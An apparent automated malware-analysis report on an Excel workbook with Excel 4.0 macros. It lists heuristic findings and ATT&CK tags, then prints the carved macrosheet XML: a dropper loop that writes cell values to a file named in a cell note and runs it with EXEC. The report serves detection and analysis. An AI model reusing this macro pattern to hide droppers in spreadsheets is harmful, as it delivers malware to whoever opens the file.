MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an Excel file containing Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions such as FOPEN, FWRITE, FCLOSE, EXEC, and HALT to download and execute a second-stage payload. The presence of these functions and the overall structure strongly suggest a downloader or dropper functionality.
Heuristics 5
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Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
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Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 1477 bytes |
SHA-256: ffedc56a926dac8e16ab9ecdad08c240ea7e6f6b924742426982dd65e35dea2f |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A148:B1722"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="148" spans="1:1"><c r="A148" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$836, 1, 200), 1+2)</f><v>0</v></c></row><row r="262" spans="1:1"><c r="A262" t="b"><f>FOR.CELL("LxoqB",Sheet1!G159:DC409, TRUE)</f><v>0</v></c></row><row r="321" spans="1:1"><c r="A321" t="e"><f>FWRITE(Macro1!A148,CHAR(LxoqB))</f><v>#NAME?</v></c></row><row r="436" spans="1:1"><c r="A436" t="b"><f>NEXT()</f><v>0</v></c></row><row r="526" spans="1:1"><c r="A526" t="b"><f>FCLOSE(Macro1!A148)</f><v>0</v></c></row><row r="836" spans="2:2"/><row r="1301" spans="1:1"><c r="A1301" t="b"><f>SET.VALUE(Macro1!$B$1722, GET.NOTE(Macro1!$B$1722, 1, 200))</f><v>0</v></c></row><row r="1370" spans="1:1"><c r="A1370" t="b"><f>EXEC(Macro1!$B$1722)</f><v>0</v></c></row><row r="1400" spans="1:1"><c r="A1400" t="b"><f>HALT()</f><v>0</v></c></row><row r="1722" spans="2:2"/></sheetData><sheetProtection password="D7F3" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>
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